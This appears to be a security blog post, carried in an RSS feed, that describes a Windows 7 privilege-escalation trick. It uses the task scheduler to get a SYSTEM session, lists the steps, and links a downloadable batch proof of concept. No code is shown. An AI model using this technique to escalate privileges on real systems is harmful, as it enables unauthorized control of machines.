<p>My friend <a href="http://h.ackack.net/author/geo">Mathias Karlsson</a> showed me a nifty way of doing that, using only two commands in cmd.<br />
The trick is to use the task scheduler (windows crontabs) in order to execute arbitrarily commands on demand.<br />
The result is the very same as the<em> "<a href="http://digg.com/news/story/Windows_XP_Privilege_Escalation_Exploit">runas-interactive-exploit</a>"</em> for Microsoft Windows XP (hence the title).</p>
<p>So here it goes! A proof-of-concept!</p>
<ol>
<li>Run the batch.<br />
<img class="alignnone" title="Run the batch." src="http://downloads.ackack.net/system_1.png" alt="" width="350" height="100" /></li>
<li>Get prompted by windows.<br />
<a href="Get%20prompted."><img class="alignnone" src="http://downloads.ackack.net/system_2.png" alt="" width="475" height="435" /></a></li>
<li>Press: <strong>"<strong>V</strong>iew the message"</strong>.</li>
<li>Login!<br />
<img class="alignnone" title="Login." src="http://downloads.ackack.net/system_3.png" alt="" width="662" height="582" /></li>
<li>Press "<strong>Return now</strong>" when you're done - in order to return to your regular account.</li>
</ol>
<blockquote><p>Download the PoC <a href="http://downloads.ackack.net/system.bat" target="_blank">here</a>.</p></blockquote>
<p>That's it!<br />
Have fun.</p>
<p>Ciao!</p>
]]></content:encoded>
			<wfw:commentRss>http://h.ackack.net/privilege-escalation-windows-7-xp-style.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

